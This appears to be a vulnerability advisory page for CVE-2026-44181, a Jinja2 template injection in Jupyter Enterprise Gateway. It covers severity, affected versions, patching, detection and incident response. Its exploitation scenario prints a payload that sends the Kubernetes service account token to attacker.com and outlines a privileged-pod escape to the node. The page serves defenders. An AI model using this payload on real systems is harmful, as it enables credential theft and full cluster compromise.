CVE-2026-44181: Jupyter SSTI — UNKNOWN

Q: Is CVE-2026-44181 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-44181, increasing the risk of exploitation.

Q: How to fix CVE-2026-44181?

1. PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix. 2. NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise. 3. RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide. 4. DETECTION: Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings. 5. INCIDENT RESPONSE: If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.

Q: What systems are affected by CVE-2026-44181?

This vulnerability affects the following AI/ML architecture patterns: Jupyter-on-Kubernetes ML platforms, MLOps training pipelines, Kubeflow notebook environments, Multi-tenant AI development platforms, Data science compute clusters.

Q: What is the CVSS score for CVE-2026-44181?

No CVSS score has been assigned yet.

CISO Take

Jupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

Critical. The vulnerability is trivially exploitable — the public advisory includes a working one-line curl proof-of-concept requiring only network access to the Enterprise Gateway service, with no prior authentication needed. Although CVSS vector metrics are not yet formally assigned, the characteristics (network-exploitable, low complexity, no user interaction, changed scope, full C/I/A impact) strongly indicate a score of 9.8–10.0. The Enterprise Gateway service account holds dangerously broad Kubernetes RBAC permissions — create/delete over pods, secrets, namespaces, PVCs, and configmaps — meaning post-exploitation cluster-wide compromise is straightforward. An OpenSSF Scorecard of 5.2/10 and 19 prior CVEs in this package indicate a pattern of insufficient security hardening. Any organization running Jupyter Enterprise Gateway on Kubernetes in ML or data science infrastructure should treat this as a P0 incident.

How does the attack unfold?

Initial Access

Attacker sends a crafted POST request to the Enterprise Gateway /api/kernels endpoint with a Jinja2 template expression embedded in the KERNEL_POD_NAME environment variable.

AML.T0049

Code Execution

Enterprise Gateway renders the Jinja2 template unsanitized during Kubernetes manifest creation, executing arbitrary Python and OS commands inside the Gateway pod.

AML.T0050

Credential Theft

Attacker reads the Kubernetes service account token from the pod filesystem and exfiltrates it to an attacker-controlled server via the OS command execution channel.

AML.T0106

Cluster Takeover

Using the stolen token, attacker creates privileged pods with hostPath mounts to gain full node access, then exfiltrates all Kubernetes secrets — cloud credentials, model registry tokens, database passwords — across the entire cluster.

AML.T0091.000

Initial Access

Attacker sends a crafted POST request to the Enterprise Gateway /api/kernels endpoint with a Jinja2 template expression embedded in the KERNEL_POD_NAME environment variable.

AML.T0049

Code Execution

Enterprise Gateway renders the Jinja2 template unsanitized during Kubernetes manifest creation, executing arbitrary Python and OS commands inside the Gateway pod.

AML.T0050

Credential Theft

Attacker reads the Kubernetes service account token from the pod filesystem and exfiltrates it to an attacker-controlled server via the OS command execution channel.

AML.T0106

Cluster Takeover

Using the stolen token, attacker creates privileged pods with hostPath mounts to gain full node access, then exfiltrates all Kubernetes secrets — cloud credentials, model registry tokens, database passwords — across the entire cluster.

AML.T0091.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Jupyter	pip	>= 2.0.0rc2, < 3.3.0	`3.3.0`
13.3K OpenSSF 5.8 1.9K dependents Pushed 6d ago 56% patched ~28d to patch Full package profile →

Do you use Jupyter? You're affected.

How severe is it?

CVSS 3.1

N/A

EPSS

0.7%

chance of exploitation in 30 days

Higher than 50% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

5 steps

PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix.
NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise.
RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide.
DETECTION

Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings.
INCIDENT RESPONSE

If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Auth Bypass Framework Inference AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell AML.T0091.000 - Application Access Token AML.T0105 - Escape to Host AML.T0106 - Exploitation for Credential Access

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system

ISO 42001

A.6.2 - AI system security

NIST AI RMF

GOVERN 1.7 - AI risk management processes MANAGE 2.2 - Responses to identified AI risks

OWASP LLM Top 10

LLM01 - Prompt Injection LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-44181?

Jupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.

Is CVE-2026-44181 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-44181, increasing the risk of exploitation.

How to fix CVE-2026-44181?

1. PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix. 2. NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise. 3. RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide. 4. DETECTION: Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings. 5. INCIDENT RESPONSE: If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.

What systems are affected by CVE-2026-44181?

This vulnerability affects the following AI/ML architecture patterns: Jupyter-on-Kubernetes ML platforms, MLOps training pipelines, Kubeflow notebook environments, Multi-tenant AI development platforms, Data science compute clusters.

What is the CVSS score for CVE-2026-44181?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Jupyter-on-Kubernetes ML platformsMLOps training pipelinesKubeflow notebook environmentsMulti-tenant AI development platformsData science compute clusters

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

AML.T0091.000 Application Access Token

AML.T0105 Escape to Host

AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Article 15, Article 9

ISO 42001: A.6.2

NIST AI RMF: GOVERN 1.7, MANAGE 2.2

OWASP LLM Top 10: LLM01, LLM08

What are the technical details?

Original Advisory

Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. In versions 2.0.0rc2 and above, prior to 3.3.0, the environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount. This issue has been fixed in version 3.3.0.

Exploitation Scenario

An adversary with network access to the Jupyter Enterprise Gateway API — reachable via a compromised internal service, an overly permissive Kubernetes NetworkPolicy, or a malicious insider on a shared data science platform — sends a single crafted POST request to the /api/kernels endpoint. The KERNEL_POD_NAME variable is set to a Jinja2 payload such as `exploit-{{ cycler.__init__.__globals__.os.popen('curl http://attacker.com/exfil?t=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)').read() }}`. Enterprise Gateway renders this template during Kubernetes manifest creation, executing the OS command and exfiltrating the service account token. The attacker configures kubectl with the stolen token, confirms broad RBAC permissions via `kubectl auth can-i --list`, then creates a privileged pod with a hostPath mount to the underlying node filesystem — achieving full node-level access, exfiltrating all cluster secrets including cloud provider keys and model registry credentials, and planting persistence across any workload in the cluster.

Weaknesses (CWE)

CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine Primary CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine Primary CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine

CWE-1336 — Improper Neutralization of Special Elements Used in a Template Engine: The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

[Architecture and Design] Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
[Implementation] Use the template engine's sandbox or restricted mode, if available.

Source: MITRE CWE corpus.